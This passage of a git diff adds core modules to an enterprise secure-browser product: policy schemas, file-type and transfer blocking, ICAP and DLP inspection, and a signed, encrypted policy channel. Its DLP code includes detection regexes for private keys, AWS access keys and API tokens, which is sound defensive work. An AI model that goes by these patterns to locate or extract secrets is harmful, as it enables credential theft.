if(p.icap.enabled&&!p.icap.url)c.addIssue({code:'custom',path:['icap','url'],message:'Enabled ICAP requires a TLS ICAP service URL'}); + if(p.icap.enabled&&p.icap.url.startsWith('icap:')&&!p.icap.allowInsecureTransport&&!['127.0.0.1','[::1]','localhost'].includes(new URL(p.icap.url).hostname))c.addIssue({code:'custom',path:['icap','url'],message:'Remote plaintext ICAP requires explicit insecure transport approval'}); + if(p.icap.enabled&&![p.icap.scanUploads,p.icap.scanDownloads,p.icap.scanClipboard,p.icap.scanAI].some(Boolean))c.addIssue({code:'custom',path:['icap'],message:'Select at least one inspection channel'}); +}); +export function enterpriseReadiness(p){return [ + {id:'proxy',label:'Corporate proxy',state:p.proxy.mode==='direct'?'direct':'configured',detail:p.proxy.mode==='system'?'Uses Windows proxy and existing PAC configuration.':p.proxy.mode==='direct'?'Direct network access explicitly selected.':'Centrally managed proxy configuration.'}, + {id:'dns',label:'Corporate DNS',state:p.enterprise.dns.mode==='secure'?'configured':'system',detail:p.enterprise.dns.mode==='secure'?'Required HTTPS DNS resolver; no insecure fallback.':'Uses OS DNS, including VPN-provided servers.'}, + {id:'vpn',label:'VPN presence gate',state:p.enterprise.vpn.required?'configured':'optional',detail:'Windows interface presence is a gate, not proof of VPN routing or tunnel health.'}, + {id:'icap',label:'External antivirus / sandbox',state:p.enterprise.icap.enabled?'configured':'off',detail:'ICAP request/response scanning, full payload, allow or block only. No content modification or deferred verdict support; unavailable inspection blocks selected channels.'}, + {id:'downloads',label:'Download release',state:p.browser.allowDownloads&&((p.security.yara.enabled&&p.security.yara.rules.length)||(p.enterprise.icap.enabled&&p.enterprise.icap.scanDownloads))?'configured':'blocked',detail:'Downloads require configured local YARA or external ICAP scanning; enabled scanners are mandatory.'}, + {id:'semantic',label:'Local semantic DLP',state:p.dlp.semantic.enabled?'configured':'off',detail:'Requires installed pinned model and calibrated references. Configuration does not prove device readiness.'} + ];} + diff --git a/packages/core/file-transfer.cjs b/packages/core/file-transfer.cjs new file mode 100644 index 0000000..a5f9b1b --- /dev/null +++ b/packages/core/file-transfer.cjs @@ -0,0 +1,29 @@ +'use strict'; +const {createHash}=require('node:crypto'); +const path=require('node:path'); +const TYPES=['pe','elf','macho','pdf','zip','png','jpeg','gif','webp','gzip','text','unknown']; +const EXT={exe:'pe',dll:'pe',sys:'pe',elf:'elf',pdf:'pdf',zip:'zip',docx:'zip',xlsx:'zip',pptx:'zip',png:'png',jpg:'jpeg',jpeg:'jpeg',gif:'gif',webp:'webp',gz:'gzip',gzip:'gzip',txt:'text',csv:'text',json:'text',html:'text',js:'text',css:'text',xml:'text',md:'text'}; +const MIME={'application/pdf':'pdf','application/zip':'zip','application/x-zip-compressed':'zip','application/vnd.openxmlformats-officedocument.wordprocessingml.document':'zip','application/vnd.openxmlformats-officedocument.spreadsheetml.sheet':'zip','application/vnd.openxmlformats-officedocument.presentationml.presentation':'zip','image/png':'png','image/jpeg':'jpeg','image/gif':'gif','image/webp':'webp','application/gzip':'gzip','application/x-gzip':'gzip','application/json':'text','application/xml':'text','application/javascript':'text','application/x-msdownload':'pe','application/vnd.microsoft.portable-executable':'pe'}; +function safeFilename(value){const name=path.win32.basename(path.posix.basename(String(value||'download.bin'))).replace(/[<>:"/\\|?*\x00-\x1f\x7f]/g,'_').replace(/[. ]+$/g,'').slice(0,180);return !name||/^(con|prn|aux|nul|com[1-9]|lpt[1-9])(?:\.|$)/i.test(name)?'download.bin':name;} +function detectType(value){ + const b=Buffer.from(value);const starts=(hex)=>b.length>=hex.length/2&&b.subarray(0,hex.length/2).equals(Buffer.from(hex,'hex')); + // MZ is blocked as PE-family even if the header is corrupt or deliberately truncated. + if(starts('4d5a'))return 'pe';if(starts('7f454c46'))return 'elf'; + if(['feedface','cefaedfe','feedfacf','cffaedfe','cafebabe','bebafeca','cafebabf','bfbafeca'].some(starts))return 'macho'; + if(starts('255044462d'))return 'pdf';if(['504b0304','504b0506','504b0708'].some(starts))return 'zip'; + if(starts('89504e470d0a1a0a'))return 'png';if(starts('ffd8ff'))return 'jpeg'; + if(b.subarray(0,6).toString('ascii')==='GIF87a'||b.subarray(0,6).toString('ascii')==='GIF89a')return 'gif'; + if(b.length>=12&&b.subarray(0,4).toString('ascii')==='RIFF'&&b.subarray(8,12).toString('ascii')==='WEBP')return 'webp';if(starts('1f8b'))return 'gzip'; + // Decode the entire bounded payload. Prefix-only heuristics miss binary tails. + try{const text=new TextDecoder('utf-8',{fatal:true}).decode(b);if(!/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/.test(text))return 'text';}catch{} + return 'unknown'; +} +function inspectFileTransfer(bytes,policy,direction,metadata={}){ + if(!['upload','download'].includes(direction))throw Error('Unsupported transfer direction'); + const settings=policy.fileTransfers?.[direction]||{};const name=safeFilename(metadata.filename),mime=String(metadata.mime||'').split(';',1)[0].trim().toLowerCase().slice(0,160); + const detectedType=detectType(bytes),extensionType=EXT[path.extname(name).slice(1).toLowerCase()]||null,mimeType=mime.startsWith('text/')?'text':MIME[mime]||null; + const facts={filename:name,mimeclaimed:mime,detectedType,size:bytes.length,sha256:createHash('sha256').update(bytes).digest('hex'),extensionMismatch:!!extensionType&&extensionType!==detectedType,mimeMismatch:!!mimeType&&mimeType!==detectedType}; + let ruleId=null;if(bytes.length>(settings.maxBytes??20*1024*1024))ruleId='file-transfer-size-limit';else if(settings.blockedTypes?.includes(detectedType))ruleId='file-transfer-type-blocked';else if(settings.allowTypes?.length&&!settings.allowTypes.includes(detectedType))ruleId='file-transfer-type-not-allowed';else if(settings.blockUnknown&&detectedType==='unknown')ruleId='file-transfer-unknown';else if(settings.blockExtensionMismatch&&facts.extensionMismatch)ruleId='file-transfer-extension-mismatch';else if(settings.blockMimeMismatch&&facts.mimeMismatch)ruleId='file-transfer-mime-mismatch'; + return {decision:ruleId?'block':'allow',ruleId,...facts}; +} +module.exports={TYPES,safeFilename,detectType,inspectFileTransfer}; diff --git a/packages/core/file-transfer.mjs b/packages/core/file-transfer.mjs new file mode 100644 index 0000000..739946e --- /dev/null +++ b/packages/core/file-transfer.mjs @@ -0,0 +1,5 @@ +import {z} from 'zod'; +import transfer from './file-transfer.cjs'; +export const {TYPES,safeFilename,detectType,inspectFileTransfer}=transfer; +const DirectionSchema=z.object({maxBytes:z.number().int().min(1).max(20*1024*1024).default(20*1024*1024),allowTypes:z.array(z.enum(TYPES)).max(TYPES.length).default([]),blockedTypes:z.array(z.enum(TYPES)).max(TYPES.length).default([]),blockUnknown:z.boolean().default(false),blockExtensionMismatch:z.boolean().default(false),blockMimeMismatch:z.boolean().default(false),allowWithoutMalwareScanner:z.boolean().default(false)}).strict(); +export const FileTransfersSchema=z.object({upload:DirectionSchema.prefault({}),download:DirectionSchema.prefault({})}).strict(); diff --git a/packages/core/managed-settings.mjs b/packages/core/managed-settings.mjs new file mode 100644 index 0000000..003ebca --- /dev/null +++ b/packages/core/managed-settings.mjs @@ -0,0 +1,22 @@ +import { z } from 'zod'; + +// These names are shared by native IPC guards and the trusted browser chrome. +// Hiding a section removes access, rather than only changing its presentation. +export const SETTINGS_SECTIONS = Object.freeze(['appearance', 'library', 'ai', 'passwords', 'documentScan', 'agents']); +const sections = z.array(z.enum(SETTINGS_SECTIONS)).max(SETTINGS_SECTIONS.length).refine(items => new Set(items).size === items.length, 'Settings sections must be unique'); +export const ManagedSettingsSchema = z.object({ + visible: z.boolean().default(true), + hiddenSections: sections.default([]), + lockedSections: sections.default([]), + appearance: z.object({ + mode: z.enum(['system', 'light', 'dark']).default('system'), + accent: z.enum(['blue', 'teal', 'violet']).default('blue'), + tabMode: z.enum(['separate', 'compact']).default('separate') + }).strict().prefault({}) +}).strict().prefault({}); + +export function settingsSectionAllowed(policy, section) { + if (!SETTINGS_SECTIONS.includes(section)) return false; + const settings = ManagedSettingsSchema.safeParse(policy?.browser?.settings); + return settings.success && settings.data.visible && !settings.data.hiddenSections.includes(section) && !settings.data.lockedSections.includes(section); +} diff --git a/packages/core/policy-channel.cjs b/packages/core/policy-channel.cjs new file mode 100644 index 0000000..a971b7a --- /dev/null +++ b/packages/core/policy-channel.cjs @@ -0,0 +1,35 @@ +'use strict'; +// Application-layer policy encryption over authenticated HTTPS. No TLS replacement. +const c=require('node:crypto'); +const VERSION='safetynet-policy-mlkem1024-mldsa87-v1'; +const MAX=3*1024*1024; +const fail=()=>{throw Error('Protected management channel refused');}; +const record=value=>{if(!value||typeof value!=='object'||Array.isArray(value))fail();return value;}; +function exact(value,keys){record(value);if(Object.keys(value).sort().join(',')!==keys.slice().sort().join(','))fail();} +const encode=value=>value.toString('base64url'); +function decode(value,max=MAX){if(typeof value!=='string'||value.length>Math.ceil(max*4/3)||!value.length||!/^[A-Za-z0-9_-]+$/.test(value))fail();const bytes=Buffer.from(value,'base64url');if(bytes.length>max||encode(bytes)!==value)fail();return bytes;} +function publicKey(pem,type){if(typeof pem!=='string'||pem.length>20000)fail();const key=c.createPublicKey(pem);if(key.asymmetricKeyType!==type)fail();return key;} +const bytes=value=>Buffer.from(JSON.stringify(value)); +function signed(payload,edPrivate,pqPrivate){const data=bytes(payload);return {...payload,edSignature:encode(c.sign(null,data,edPrivate)),pqSignature:encode(c.sign(null,data,pqPrivate))};} +function verified(value,keys,edPublic,pqPublic){exact(value,[...keys,'edSignature','pqSignature']);const payload=Object.fromEntries(keys.map(key=>[key,value[key]]));const data=bytes(payload);if(!c.verify(null,data,publicKey(edPublic,'ed25519'),decode(value.edSignature,64))||!c.verify(null,data,publicKey(pqPublic,'ml-dsa-87'),decode(value.pqSignature,5000)))fail();return payload;} +function identity(edPrivate,pqPrivate,pqPublic){publicKey(pqPublic,'ml-dsa-87');return signed({version:VERSION,signatureKey:pqPublic},edPrivate,pqPrivate);} +function verifyIdentity(value,edPublic,pin){record(value);if(value.version!==VERSION||pin&&value.signatureKey!==pin)fail();verified(value,['version','signatureKey'],edPublic,pin||value.signatureKey);return value.signatureKey;} +function challenge(deviceId,edPrivate,pqPrivate,now=Date.now()){ + const pair=c.generateKeyPairSync('ml-kem-1024'); + const bundle=signed({version:VERSION,deviceId,id:encode(c.randomBytes(32)),expiresAt:now+60000,kemKey:pair.publicKey.export({type:'spki',format:'pem'})},edPrivate,pqPrivate); + return {bundle,privateKey:pair.privateKey}; +} +function verifyChallenge(value,deviceId,edPublic,pqPublic,now=Date.now()){ + const result=verified(value,['version','deviceId','id','expiresAt','kemKey'],edPublic,pqPublic); + if(result.version!==VERSION||result.deviceId!==deviceId||decode(result.id,32).length!==32||!Number.isSafeInteger(result.expiresAt)||result.expiresAt<=now||result.expiresAt>now+65000)fail(); + publicKey(result.kemKey,'ml-kem-1024');return result; +} +function derive(shared,bundle,direction){const salt=c.createHash('sha384').update(bytes(bundle)).digest();return Buffer.from(c.hkdfSync('sha384',shared,salt,Buffer.from(VERSION+':'+direction),32));} +const aad=(bundle,direction)=>bytes({version:VERSION,id:bundle.id,deviceId:bundle.deviceId,direction}); +function seal(key,value,bundle,direction){const input=bytes(value);if(input.length>MAX)fail();const iv=c.randomBytes(12),cipher=c.createCipheriv('aes-256-gcm',key,iv);cipher.setAAD(aad(bundle,direction));try{return {iv:encode(iv),ciphertext:encode(Buffer.concat([cipher.update(input),cipher.final()])),tag:encode(cipher.getAuthTag())};}finally{input.fill(0);}} +function open(key,value,bundle,direction){exact(value,['iv','ciphertext','tag']);const iv=decode(value.iv,12),tag=decode(value.tag,16);if(iv.length!==12||tag.length!==16)fail();const cipher=c.createDecipheriv('aes-256-gcm',key,iv);cipher.setAAD(aad(bundle,direction));cipher.setAuthTag(tag);let plaintext;try{plaintext=Buffer.concat([cipher.update(decode(value.ciphertext)),cipher.final()]);return JSON.parse(plaintext.toString('utf8'));}finally{plaintext?.fill(0);}} +function prepare(bundle){const {sharedKey,ciphertext}=c.encapsulate(publicKey(bundle.kemKey,'ml-kem-1024'));const requestKey=derive(sharedKey,bundle,'request'),responseKey=derive(sharedKey,bundle,'response');sharedKey.fill(0);const requestId=encode(c.randomBytes(32));try{return {request:{version:VERSION,id:bundle.id,deviceId:bundle.deviceId,kemCiphertext:encode(ciphertext),encrypted:seal(requestKey,{purpose:'policy',requestId},bundle,'request')},responseKey,requestId};}finally{requestKey.fill(0);}} +function receive(request,bundle,privateKey){exact(request,['version','id','deviceId','kemCiphertext','encrypted']);if(request.version!==VERSION||request.id!==bundle.id||request.deviceId!==bundle.deviceId||bundle.expiresAt<=Date.now())fail();const ciphertext=decode(request.kemCiphertext,1568);if(ciphertext.length!==1568)fail();const shared=c.decapsulate(privateKey,ciphertext),requestKey=derive(shared,bundle,'request'),responseKey=derive(shared,bundle,'response');shared.fill(0);try{const body=open(requestKey,request.encrypted,bundle,'request');exact(body,['purpose','requestId']);if(body.purpose!=='policy'||decode(body.requestId,32).length!==32)fail();return {responseKey,requestId:body.requestId};}catch(error){responseKey.fill(0);throw error;}finally{requestKey.fill(0);}} +function response(policy,bundle,context){return {version:VERSION,id:bundle.id,encrypted:seal(context.responseKey,{requestId:context.requestId,policy},bundle,'response')};} +function finish(value,bundle,context){exact(value,['version','id','encrypted']);if(value.version!==VERSION||value.id!==bundle.id)fail();const body=open(context.responseKey,value.encrypted,bundle,'response');exact(body,['requestId','policy']);if(body.requestId!==context.requestId)fail();return body.policy;} +module.exports={VERSION,identity,verifyIdentity,challenge,verifyChallenge,prepare,receive,response,finish}; diff --git a/packages/core/policy-groups.mjs b/packages/core/policy-groups.mjs new file mode 100644 index 0000000..1b31e09 --- /dev/null +++ b/packages/core/policy-groups.mjs @@ -0,0 +1,48 @@ +import {z} from 'zod'; +import {SETTINGS_SECTIONS} from './managed-settings.mjs'; +import {BookmarkItemsSchema} from './bookmarks.mjs'; + +const id=z.string().min(1).max(80).regex(/^[A-Za-z0-9][A-Za-z0-9._-]*$/); +const unique=(schema,max)=>z.array(schema).max(max).refine(items=>new Set(items).size===items.length,'Values must be unique'); +const host=z.string().max(253).regex(/^(\*\.)?[a-z0-9](?:[a-z0-9.-]*[a-z0-9])?$/i); +export const GroupRestrictionsSchema=z.object({ + blockedHosts:unique(host,200).default([]),blockedPhrases:unique(z.string().min(1).max(4096),500).default([]), + disableDownloads:z.boolean().default(false),disableAI:z.boolean().default(false),disableAgents:z.boolean().default(false), + hideSettings:z.boolean().default(false),requireDocumentScan:z.boolean().default(false), + hiddenSections:unique(z.enum(SETTINGS_SECTIONS),SETTINGS_SECTIONS.length).default([]), + lockedSections:unique(z.enum(SETTINGS_SECTIONS),SETTINGS_SECTIONS.length).default([]), + managedBookmarks:BookmarkItemsSchema.default([]) +}).strict(); +export const PolicyGroupSchema=z.object({id,name:z.string().min(1).max(100).refine(v=>!/[\u0000-\u001f\u007f]/.test(v)), + memberDeviceIds:unique(id,10000),restrictions:GroupRestrictionsSchema, + rollout:z.object({stage:z.enum(['pilot','expanded','all']),deviceIds:unique(id,10000).default([])}).strict() +}).strict().superRefine((group,ctx)=>{ + if(group.rollout.stage==='all'&&group.rollout.deviceIds.length)ctx.addIssue({code:'custom',message:'All-members rollout requires empty cohort'}); + if(group.rollout.stage!=='all'&&(!group.rollout.deviceIds.length||group.rollout.deviceIds.some(i=>!group.memberDeviceIds.includes(i))))ctx.addIssue({code:'custom',message:'Pilot and expanded cohorts must be nonempty subsets of members'}); + if(Buffer.byteLength(JSON.stringify(group))>250000)ctx.addIssue({code:'custom',message:'Group exceeds the 250 KB feature budget'}); +}); +export const GroupAssignmentSchema=z.object({deviceId:id,groups:unique(id,100),profiles:unique(id,100).optional()}).strict(); +export function groupApplies(group,deviceId){return group.memberDeviceIds.includes(deviceId)&&(group.rollout.stage==='all'||group.rollout.deviceIds.includes(deviceId));} +// The company baseline always survives. Boolean restrictions combine with OR; +// block lists and hidden sections combine with a stable union, never replacement. +export function applyPolicyGroups(policy,groups,deviceId){ + const result=structuredClone(policy),applied=groups.map(g=>PolicyGroupSchema.parse(g)).filter(g=>groupApplies(g,deviceId)).sort((a,b)=>a.id.localeCompare(b.id,'en')); + const union=(a,b)=>[...new Set([...a,...b])].sort(); + for(const group of applied){const r=group.restrictions; + result.browser.blockedHosts=union(result.browser.blockedHosts,r.blockedHosts); + result.security.content.blockedPhrases=union(result.security.content.blockedPhrases,r.blockedPhrases); + if(r.disableDownloads)result.browser.allowDownloads=false; + if(r.disableAI)result.ai.enabled=false; + if(r.disableAgents)result.agents.enabled=false; + if(r.hideSettings)result.browser.settings.visible=false; + if(r.requireDocumentScan)result.inspection.documentAnalysisEnabled=true; + result.browser.settings.hiddenSections=union(result.browser.settings.hiddenSections,r.hiddenSections); + result.browser.settings.lockedSections=union(result.browser.settings.lockedSections,r.lockedSections); + for(const bookmark of r.managedBookmarks){const existing=result.browser.bookmarks.managed.find(b=>b.id===bookmark.id); + if(existing&&JSON.stringify(existing)!==JSON.stringify(bookmark))throw Error('Managed bookmark ID conflicts across policies'); + if(!existing)result.browser.bookmarks.managed.push(bookmark); + } + } + result.assignment={deviceId,groups:applied.map(g=>g.id),...(result.assignment?.profiles?{profiles:result.assignment.profiles}:{})}; + return result; +} diff --git a/packages/core/policy.mjs b/packages/core/policy.mjs new file mode 100644 index 0000000..5734e50 --- /dev/null +++ b/packages/core/policy.mjs @@ -0,0 +1,133 @@ +import { z } from 'zod'; +import { createHash, createPrivateKey, createPublicKey, sign, verify } from 'node:crypto'; +import { SecuritySchema, AgentsSchema } from './security.mjs'; +import { SemanticPolicySchema } from './semantic.mjs'; +import { ManagedSettingsSchema } from './managed-settings.mjs'; +import { EnterpriseSchema } from './enterprise.mjs'; +import { BookmarksSchema } from './bookmarks.mjs'; +import {GroupAssignmentSchema} from './policy-groups.mjs'; +import {DiagnosticsSchema} from './diagnostics.mjs'; +import {FileTransfersSchema} from './file-transfer.mjs'; +import {UserAccessSchema} from './user-profiles.mjs'; + +const host = z.string().max(253).regex(/^(\*\.)?[a-z0-9](?:[a-z0-9.-]*[a-z0-9])?$/i); +export const PolicySchema = z.object({ + version: z.number().int().positive(), + assignment:GroupAssignmentSchema.optional(), + userAccess:UserAccessSchema, + diagnostics:DiagnosticsSchema.prefault({}), + fileTransfers:FileTransfersSchema.prefault({}), + expiresAt: z.string().datetime(), + brand: z.object({ name: z.string().min(1).max(40), color: z.string().regex(/^#[0-9a-f]{6}$/i) }), + browser: z.object({ + homeUrl: z.string().url(), allowedHosts: z.array(host).max(200), blockedHosts: z.array(host).max(200), + allowDownloads: z.boolean(), allowDevTools: z.boolean(), allowWebSockets: z.boolean(), + settings: ManagedSettingsSchema, bookmarks: BookmarksSchema + }), + proxy: z.discriminatedUnion('mode', [ + z.object({ mode: z.literal('system') }), z.object({ mode: z.literal('direct') }), + z.object({ mode: z.literal('fixed_servers'), rules: z.string().min(1).max(2048), bypass: z.string().max(1024).default('') }), + z.object({ mode: z.literal('pac_script'), pacUrl: z.string().url().refine(v => v.startsWith('https://')) }) + ]), + dlp: z.object({ + maxBytes: z.number().int().min(1024).max(10 * 1024 * 1024), + blockUninspectable: z.literal(true), + semantic: SemanticPolicySchema, + rules: z.array(z.object({ id: z.string().min(1).max(80), label: z.string().min(1).max(100), + kind: z.enum(['literal', 'sha256','fragment-sha256']), value: z.string().min(1).max(4096), + action: z.literal('block') }).superRefine((r,ctx) => { + if(r.kind !== 'literal' && !/^[a-f0-9]{64}$/i.test(r.value)) ctx.addIssue({code:'custom',message:'Invalid SHA-256 fingerprint'}); + })).max(10000) + }), + security: SecuritySchema, + inspection:z.object({documentAnalysisEnabled:z.boolean().default(true)}).prefault({}), + passwordManager:z.object({enabled:z.boolean().default(true),allowSaving:z.boolean().default(true),allowAutofill:z.boolean().default(true),idleLockSeconds:z.number().int().min(60).max(900).default(300)}).strict().prefault({}), + agents: AgentsSchema, + enterprise: EnterpriseSchema, + ai: z.object({ enabled: z.boolean(), model: z.string().max(100),provider:z.enum(['openai-compatible','ollama']).default('openai-compatible'),trustMode:z.enum(['external','local']).default('external'),endpointId:z.string().max(80).default('default'),allowConfidentialLocal:z.boolean().default(false) }) +}).strict().superRefine((p, ctx) => { + if (!['https:', 'http:'].includes(new URL(p.browser.homeUrl).protocol)) ctx.addIssue({code:'custom',message:'Home must be HTTP(S)'}); + if(new Set(p.dlp.rules.map(r=>r.id)).size !== p.dlp.rules.length) ctx.addIssue({code:'custom',message:'Rule IDs must be unique'}); + if(p.dlp.semantic.enabled&&(!p.dlp.semantic.revision||!p.dlp.semantic.categories.length))ctx.addIssue({code:'custom',message:'Semantic enforcement requires a pinned model revision and references'}); + if(new Set(p.dlp.semantic.categories.map(r=>r.id)).size!==p.dlp.semantic.categories.length)ctx.addIssue({code:'custom',message:'Semantic category IDs must be unique'}); + for(const [name,rules] of [['YARA',p.security.yara.rules],['Sigma',p.security.sigma.rules]])if(new Set(rules.map(r=>r.id)).size!==rules.length)ctx.addIssue({code:'custom',message:`${name} rule IDs must be unique`}); + if(new Set(p.security.visualPhishing.brands.map(b=>b.id)).size!==p.security.visualPhishing.brands.length)ctx.addIssue({code:'custom',message:'Visual brand IDs must be unique'}); + if(p.security.visualPhishing.enabled&&!p.security.visualPhishing.brands.length)ctx.addIssue({code:'custom',message:'Visual protection requires explicit reference brands'}); + if(Buffer.byteLength(JSON.stringify(p))>1572864)ctx.addIssue({code:'custom',message:'Signed policy exceeds the 1.5 MiB feature budget'}); +}); + +export function defaultPolicy() { + return PolicySchema.parse({ version: 1, expiresAt: new Date(Date.now()+7*86400000).toISOString(), + brand: {name:'SafetyNet',color:'#137c66'}, + browser:{homeUrl:'https://example.com',allowedHosts:[],blockedHosts:[],allowDownloads:false,allowDevTools:false,allowWebSockets:false}, + proxy:{mode:'system'}, dlp:{maxBytes:1048576,blockUninspectable:true,rules:[]}, ai:{enabled:false,model:''} }); +} +export function hostMatches(hostname, pattern) { + const name = hostname.toLowerCase().replace(/\.$/, ''); + const p = pattern.toLowerCase(); + return p.startsWith('*.') ? name.endsWith(p.slice(1)) && name !== p.slice(2) : name === p; +} +export function destinationAllowed(url, policy) { + try { + const u = new URL(url); + if(!['http:','https:','ws:','wss:'].includes(u.protocol)) return false; + if(u.username || u.password) return false; + if(policy.browser.blockedHosts.some(p=>hostMatches(u.hostname,p))) return false; + if(policy.security?.dns?.enabled && policy.security.dns.blockedHosts.some(p=>hostMatches(u.hostname,p))) return false; + return !policy.browser.allowedHosts.length || policy.browser.allowedHosts.some(p=>hostMatches(u.hostname,p)); + } catch { return false; } +} +const builtins = [ + ['private-key', /-----BEGIN (?:RSA |EC |OPENSSH |DSA )?PRIVATE KEY-----/], + ['aws-access-key', /\b(?:AKIA|ASIA)[A-Z0-9]{16}\b/], + ['api-secret', /\b(?:sk-[a-zA-Z0-9_-]{20,}|gh[pousr]_[a-zA-Z0-9]{20,})\b/] +]; +export function fragmentHashes(text){ + const normalized=text.normalize('NFKC').toLowerCase().replace(/ß/g,'ss').replace(/ς/g,'σ'),words=normalized.match(/[\p{L}\p{N}_]+/gu)||[],hashes=new Set(); + const hash=s=>createHash('sha256').update(s).digest('hex');for(let i=0;i+8<=words.length;i++)hashes.add(hash(words.slice(i,i+8).join(' '))); + for(const part of normalized.split(/\n\s*\n/)){const p=part.trim().replace(/\s+/gu,' ');if([...p].length>=32)hashes.add(hash(p));}return hashes; +} +export function inspect(bytes, policy) { + const data = Buffer.from(bytes); + if(data.length > policy.dlp.maxBytes) return {decision:'block',ruleId:'size-limit'}; + const hash = createHash('sha256').update(data).digest('hex'); + for(const r of policy.dlp.rules) if(r.kind==='sha256' && r.value.toLowerCase()===hash) return {decision:'block',ruleId:r.id}; + let text; + try { text = new TextDecoder('utf-8',{fatal:true}).decode(data); } + catch { return {decision:'block',ruleId:'uninspectable'}; } + if(text.includes('\0')) return {decision:'block',ruleId:'uninspectable'}; + const variants = [text]; + try { variants.push(decodeURIComponent(text.replace(/\+/g,' '))); } catch {} + try { variants.push(JSON.stringify(JSON.parse(text))); } catch {} + for(const value of variants) { + let fragments;for(const r of policy.dlp.rules)if(r.kind==='fragment-sha256'){fragments??=fragmentHashes(value);if(fragments.has(r.value.toLowerCase()))return {decision:'block',ruleId:r.id};} + for(const phrase of policy.security?.content?.blockedPhrases||[])if(value.normalize('NFKC').toLowerCase().includes(phrase.normalize('NFKC').toLowerCase()))return {decision:'block',ruleId:'content-blocklist'}; + for(const [id,pattern] of builtins) if(pattern.test(value)) return {decision:'block',ruleId:id}; + for(const r of policy.dlp.rules) if(r.kind==='literal' && value.normalize('NFKC').toLowerCase().includes(r.value.normalize('NFKC').toLowerCase())) return {decision:'block',ruleId:r.id}; + } + return {decision:'allow',ruleId:null}; +} +export function allowsConfidentialLocal(verdict,policy){ + if(verdict.decision!=='block'||!policy.ai.enabled||policy.ai.trustMode!=='local'||!policy.ai.allowConfidentialLocal)return false; + const id=verdict.ruleId; + if(!id||['private-key','aws-access-key','api-secret','content-blocklist','size-limit','uninspectable'].includes(id)||/yara|malware|parser|coverage|failure|failed|timeout|unsupported|encrypted|inspection|incomplete/i.test(id)||verdict.malware||policy.security?.yara?.rules.some(r=>r.id===id))return false; + return policy.dlp.rules.some(r=>r.id===id&&['literal','sha256','fragment-sha256'].includes(r.kind))||policy.dlp.semantic.categories.some(r=>r.id===id); +} +export function inspectForAI(bytes,policy){ + const verdict=inspect(bytes,policy);if(!allowsConfidentialLocal(verdict,policy))return verdict; + // Re-scan without corporate detectors so a preceding phrase cannot hide a credential or content block. + const baseline=inspect(bytes,{...policy,dlp:{...policy.dlp,rules:[]}});if(baseline.decision!=='allow')return baseline; + return {...verdict,decision:'allow',classification:'local-only'}; +} +export function signPolicy(policy, privatePem) { + const payload = Buffer.from(JSON.stringify(PolicySchema.parse(policy))).toString('base64url'); + return {payload,signature:sign(null,Buffer.from(payload),createPrivateKey(privatePem)).toString('base64url')}; +} +export function verifyPolicy(envelope, publicPem, minimumVersion=0) { + if(!verify(null,Buffer.from(envelope.payload),createPublicKey(publicPem),Buffer.from(envelope.signature,'base64url'))) throw Error('Policy signature rejected'); + const policy = PolicySchema.parse(JSON.parse(Buffer.from(envelope.payload,'base64url').toString())); + if(policy.version < minimumVersion) throw Error('Policy rollback rejected'); + if(Date.parse(policy.expiresAt)<=Date.now()) throw Error('Policy expired'); + return policy; +} + diff --git a/packages/core/presets.mjs b/packages/core/presets.mjs new file mode 100644 index 0000000..d466ae0 --- /dev/null +++ b/packages/core/presets.mjs @@ -0,0 +1,21 @@ +import { PolicySchema } from './policy.mjs'; +import { enterpriseReadiness } from './enterprise.mjs'; +export const policyPresets=[ + {id:'baseline',name:'Enterprise baseline',description:'Enforce clipboard protections, disable developer tools and unsupported WebSockets, retain existing network and DLP rules.'}, + {id:'managed-ai',name:'Managed AI workspace',description:'Preserve approved AI access while restricting agent access to sensitive content and interaction scopes. Requires a configured approved gateway; add verified semantic references separately if needed. This preset does not enable an unconfigured AI provider.'}, + {id:'restricted',name:'Restricted information',description:'Block downloads and local agents, prevent clipboard export, and hide employee settings. Existing content rules and network configuration remain in place.'}, + {id:'existing-stack',name:'Preserve existing security stack',description:'Preserve current proxy, VPN, DNS and inspection configuration. Use the integration forms to connect your corporate services.'} +]; +export function previewPreset(input,id){ + const preset=policyPresets.find(v=>v.id===id);if(!preset)throw new Error('Unknown enterprise preset'); + const p=PolicySchema.parse(structuredClone(input)),before=structuredClone(p); + if(id!=='existing-stack'){ + p.browser.allowDevTools=false;p.browser.allowWebSockets=false;p.security.clipboard.enabled=true;p.security.clipboard.blockSuspiciousCommands=true; + } + if(id==='managed-ai'){p.agents.allowSensitiveRead=false;p.agents.scopes=p.agents.scopes.filter(scope=>!['read','screenshot','type','click'].includes(scope));} + if(id==='restricted'){ + p.browser.allowDownloads=false;p.agents.enabled=false;p.security.clipboard.allowCopy=false;p.security.clipboard.allowCut=false;p.browser.settings.visible=false; + } + const changes=[];const compare=(a,b,path='')=>{for(const key of Object.keys(b)){const next=path?`${path}.${key}`:key;if(b[key]&&typeof b[key]==='object'&&!Array.isArray(b[key]))compare(a[key],b[key],next);else if(JSON.stringify(a[key])!==JSON.stringify(b[key]))changes.push({field:next,before:a[key],after:b[key]});}};compare(before,p); + return {preset,policy:PolicySchema.parse(p),changes,readiness:enterpriseReadiness(p),warning:'Draft preview only. Review deployment and explicitly publish the signed policy. No preset removes existing DLP rules, enables an AI provider, or supplies antivirus signatures.'}; +} diff --git a/packages/core/security.mjs b/packages/core/security.mjs new file mode 100644 index 0000000..f8c4087 --- /dev/null +++ b/packages/core/security.mjs @@ -0,0 +1,32 @@ +import { z } from 'zod'; +import { isIP } from 'node:net'; +export const AgentScopes=['sessions','navigate','read','click','type','screenshot','ai','application:state','settings:get','settings:update','bookmarks:list','bookmarks:mutate','tabs:create','tabs:activate','tabs:close','tabs:group']; +const host=z.string().max(253).regex(/^(\*\.)?[a-z0-9](?:[a-z0-9.-]*[a-z0-9])?$/i); +export const VisualOriginSchema=z.string().max(2048).refine(value=>{try{const u=new URL(value);return u.protocol==='https:'&&!u.username&&!u.password&&!u.search&&!u.hash&&u.origin===value&&!u.hostname.includes('*')&&!u.hostname.endsWith('.')&&!isIP(u.hostname.replace(/^\[|\]$/g,''))&&/^[a-z0-9.-]+$/.test(u.hostname);}catch{return false;}},'Expected a canonical exact HTTPS domain origin'); +export const VisualViewportSchema=z.object({width:z.number().int().min(16).max(8192),height:z.number().int().min(16).max(8192)}).strict(); +export const VisualReferenceSchema=z.object({hash:z.string().regex(/^[a-f0-9]{16}$/),algorithm:z.literal('phash-dct32-v1'),scope:z.enum(['viewport','login-form']),viewport:VisualViewportSchema.optional()}).strict(); +export const 